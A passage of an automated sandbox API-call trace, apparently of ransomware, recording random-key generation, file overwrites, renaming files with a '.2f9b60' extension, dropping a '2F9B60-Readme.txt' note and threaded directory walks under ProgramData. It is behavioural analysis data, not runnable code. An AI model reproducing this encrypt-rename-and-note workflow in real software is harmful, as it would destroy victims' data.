Seed=0x1e98f550) returned 0x79a5a98b [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x177eb233 [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x5917782a [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0xc65868c [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x4a69bb4e [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x3aee994c [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x5fd9d762 [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x146beae3 [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x596973df [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0xb61fa84 [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x38c59e9c [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0xcf2d1d2 [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x34226a3a [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x7808453b [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x215c43a3 [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x5a1cc1fb [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x3d82e9e6 [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x3567e5ac [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x75e39f47 [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x28faa607 [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x3fe00d60 [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x1e605340 [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x1924d639 [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0xe0d0d6 [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x2a34d86e [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x7842bfe8 [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x654cf66c [0091.495] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x7e86b35 [0091.496] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x6037afd5 [0091.496] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x3ae3613 [0091.496] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x71a87608 [0091.496] RtlRandomEx (in: Seed=0x1e98f550 | out: Seed=0x1e98f550) returned 0x635191e4 [0091.503] ReadFile (in: hFile=0xdb4, lpBuffer=0x201aa520, nNumberOfBytesToRead=0x29a, lpNumberOfBytesRead=0x1e98f550, lpOverlapped=0x0 | out: lpBuffer=0x201aa520*, lpNumberOfBytesRead=0x1e98f550*=0x29a, lpOverlapped=0x0) returned 1 [0091.503] SetFilePointerEx (in: hFile=0xdb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.503] WriteFile (in: hFile=0xdb4, lpBuffer=0x201ae130*, nNumberOfBytesToWrite=0x29a, lpNumberOfBytesWritten=0x1e98f554, lpOverlapped=0x0 | out: lpBuffer=0x201ae130*, lpNumberOfBytesWritten=0x1e98f554*=0x29a, lpOverlapped=0x0) returned 1 [0091.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ec0 [0091.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ef0 [0091.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7ef0) returned 1 [0091.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ae130) returned 1 [0091.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201aa520) returned 1 [0091.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb90) returned 1 [0091.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0091.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7ef0 [0091.700] SetFilePointerEx (in: hFile=0xdb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0091.701] WriteFile (in: hFile=0xdb4, lpBuffer=0x168d60*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x1e98f670, lpOverlapped=0x0 | out: lpBuffer=0x168d60*, lpNumberOfBytesWritten=0x1e98f670*=0x104, lpOverlapped=0x0) returned 1 [0091.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0091.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0091.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7980 [0091.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7980) returned 1 [0091.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0091.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7980 [0091.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7950 [0091.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7950) returned 1 [0091.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0091.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0091.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1ced7950 [0091.730] sprintf (in: _Dest=0x1ced7950, _Format="%c%c" | out: _Dest="1a") returned 2 [0091.730] sprintf (in: _Dest=0x1ced7952, _Format="%c%c" | out: _Dest="2b") returned 2 [0091.730] sprintf (in: _Dest=0x1ced7954, _Format="%c%c" | out: _Dest="73") returned 2 [0091.730] sprintf (in: _Dest=0x1ced7956, _Format="%c%c" | out: _Dest="05") returned 2 [0091.730] sprintf (in: _Dest=0x1ced7958, _Format="%c%c" | out: _Dest="e1") returned 2 [0091.730] sprintf (in: _Dest=0x1ced795a, _Format="%c%c" | out: _Dest="a3") returned 2 [0091.730] sprintf (in: _Dest=0x1ced795c, _Format="%c%c" | out: _Dest="51") returned 2 [0091.730] sprintf (in: _Dest=0x1ced795e, _Format="%c%c" | out: _Dest="ef") returned 2 [0091.730] sprintf (in: _Dest=0x1ced7960, _Format="%c%c" | out: _Dest="26") returned 2 [0091.730] sprintf (in: _Dest=0x1ced7962, _Format="%c%c" | out: _Dest="c8") returned 2 [0091.730] sprintf (in: _Dest=0x1ced7964, _Format="%c%c" | out: _Dest="e7") returned 2 [0091.730] sprintf (in: _Dest=0x1ced7966, _Format="%c%c" | out: _Dest="31") returned 2 [0091.730] sprintf (in: _Dest=0x1ced7968, _Format="%c%c" | out: _Dest="ae") returned 2 [0091.730] sprintf (in: _Dest=0x1ced796a, _Format="%c%c" | out: _Dest="5e") returned 2 [0091.730] sprintf (in: _Dest=0x1ced796c, _Format="%c%c" | out: _Dest="26") returned 2 [0091.730] sprintf (in: _Dest=0x1ced796e, _Format="%c%c" | out: _Dest="fd") returned 2 [0091.730] sprintf (in: _Dest=0x1ced7970, _Format="%c%c" | out: _Dest="6a") returned 2 [0091.730] sprintf (in: _Dest=0x1ced7972, _Format="%c%c" | out: _Dest="06") returned 2 [0091.731] RtlInitAnsiString (in: DestinationString=0x1e98f6e8, SourceString="1a2b7305e1a351ef26c8e731ae5e26fd6a06" | out: DestinationString="1a2b7305e1a351ef26c8e731ae5e26fd6a06") [0091.731] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e98f6b8, SourceString="1a2b7305e1a351ef26c8e731ae5e26fd6a06", AllocateDestinationString=1 | out: DestinationString="1a2b7305e1a351ef26c8e731ae5e26fd6a06") returned 0x0 [0091.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9df70 [0091.731] wcscat (in: _Dest=0x107900, _Source="1a2b7305e" | out: _Dest="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\1a2b7305e") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\1a2b7305e" [0091.731] wcscat (in: _Dest=0x107900, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\1a2b7305e.2f9b60") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\1a2b7305e.2f9b60" [0091.731] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\1a2b7305e.2f9b60", NtPathName=0x1e98f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\1a2b7305e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0091.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x1186e0 [0091.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1186e0) returned 1 [0091.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1230d0) returned 1 [0091.767] NtQueryInformationFile (in: FileHandle=0xdb4, IoStatusBlock=0x1e98f6f8, FileInformation=0x1e98f708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e98f6f8, FileInformation=0x1e98f708) returned 0x0 [0091.767] NtSetInformationFile (FileHandle=0xdb4, IoStatusBlock=0x1e98f6f8, FileInformation=0x1e98f708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0091.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107900) returned 1 [0091.781] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9df70) returned 1 [0091.781] FlushFileBuffers (hFile=0xdb4) returned 1 [0091.785] CloseHandle (hObject=0xdb4) returned 1 [0091.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x107b40 [0091.796] wcscpy (in: _Dest=0x107b40, _Source="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\" [0091.796] wcscat (in: _Dest=0x107b40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\2F9B60-Readme.txt" [0091.796] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\2f9b60-readme.txt")) returned 0xffffffff [0091.796] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xde4 [0091.816] WriteFile (in: hFile=0xde4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x1e98f5b0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x1e98f5b0*=0xba9, lpOverlapped=0x0) returned 1 [0091.890] CloseHandle (hObject=0xde4) returned 1 [0091.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107b40) returned 1 [0091.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5d30) returned 1 Thread: id = 466 os_tid = 0x174 [0091.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x107180 [0091.525] wcscpy (in: _Dest=0x107180, _Source="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" [0091.525] wcscat (in: _Dest=0x107180, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\" [0091.525] wcscat (in: _Dest=0x107180, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*" [0091.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9b400 [0091.525] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", lpFindFileData=0x1cd9b400 | out: lpFindFileData=0x1cd9b400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd864f0 [0091.525] wcscmp (_String1=".", _String2=".") returned 0 [0091.525] FindNextFileW (in: hFindFile=0x1cd864f0, lpFindFileData=0x1cd9b400 | out: lpFindFileData=0x1cd9b400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.525] wcscmp (_String1="..", _String2=".") returned 1 [0091.525] wcscmp (_String1="..", _String2="..") returned 0 [0091.526] FindNextFileW (in: hFindFile=0x1cd864f0, lpFindFileData=0x1cd9b400 | out: lpFindFileData=0x1cd9b400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0091.526] wcscmp (_String1="vcRuntimeMinimum_x86", _String2=".") returned 1 [0091.526] wcscmp (_String1="vcRuntimeMinimum_x86", _String2="..") returned 1 [0091.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xdc) returned 0x1b798da0 [0091.526] wcscpy (in: _Dest=0x1b798da0, _Source="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" [0091.526] wcscat (in: _Dest=0x1b798da0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\" [0091.526] wcscat (in: _Dest=0x1b798da0, _Source="vcRuntimeMinimum_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86" [0096.846] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b798da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdb0 [0096.847] FindNextFileW (in: hFindFile=0x1cd864f0, lpFindFileData=0x1cd9b400 | out: lpFindFileData=0x1cd9b400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0096.847] FindClose (in: hFindFile=0x1cd864f0 | out: hFindFile=0x1cd864f0) returned 1 [0096.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9b400) returned 1 [0096.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107180) returned 1 [0096.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106700) returned 1 Thread: id = 467 os_tid = 0xc4c [0091.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x107240 [0091.527] wcscpy (in: _Dest=0x107240, _Source="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" [0091.527] wcscat (in: _Dest=0x107240, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\" [0091.527] wcscat (in: _Dest=0x107240, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*" [0091.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9b190 [0091.527] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", lpFindFileData=0x1cd9b190 | out: lpFindFileData=0x1cd9b190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86430 [0091.528] wcscmp (_String1=".", _String2=".") returned 0 [0091.528] FindNextFileW (in: hFindFile=0x1cd86430, lpFindFileData=0x1cd9b190 | out: lpFindFileData=0x1cd9b190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.528] wcscmp (_String1="..", _String2=".") returned 1 [0091.528] wcscmp (_String1="..", _String2="..") returned 0 [0091.528] FindNextFileW (in: hFindFile=0x1cd86430, lpFindFileData=0x1cd9b190 | out: lpFindFileData=0x1cd9b190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0091.528] wcscmp (_String1="vcRuntimeAdditional_x86", _String2=".") returned 1 [0091.528] wcscmp (_String1="vcRuntimeAdditional_x86", _String2="..") returned 1 [0091.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe2) returned 0x1b798e90 [0091.528] wcscpy (in: _Dest=0x1b798e90, _Source="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" [0091.528] wcscat (in: _Dest=0x1b798e90, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\" [0091.528] wcscat (in: _Dest=0x1b798e90, _Source="vcRuntimeAdditional_x86" | out: _Dest="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86" [0096.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b798e90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdb8 [0096.849] FindNextFileW (in: hFindFile=0x1cd86430, lpFindFileData=0x1cd9b190 | out: lpFindFileData=0x1cd9b190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94fa460, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94fa460, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0096.849] FindClose (in: hFindFile=0x1cd86430 | out: hFindFile=0x1cd86430) returned 1 [0096.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9b190) returned 1 [0096.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107240) returned 1 [0096.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1067c0) returned 1 Thread: id = 468 os_tid = 0xc50 [0091.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x107300 [0091.529] wcscpy (in: _Dest=0x107300, _Source="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" [0091.529] wcscat (in: _Dest=0x107300, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\" [0091.529] wcscat (in: _Dest=0x107300, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*") returned="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*" [0091.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9af20 [0091.529] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", lpFindFileData=0x1cd9af20 | out: lpFindFileData=0x1cd9af20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86310 [0091.529] wcscmp (_String1=".", _String2=".") returned 0 [0091.529] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1cd9af20 | out: lpFindFileData=0x1cd9af20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.529] wcscmp (_String1="..", _String2=".") returned 1 [0091.529] wcscmp (_String1="..", _String2="..") returned 0 [0091.530] FindNextFileW (in: hFindFile=0x1cd86310, lpFindFileData=0x1cd9af20 | out: lpFindFileData=0x1cd9af20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa93425b0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa93425b0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0091.530] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2=".") returned 1 [0091.530] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2="..") returned 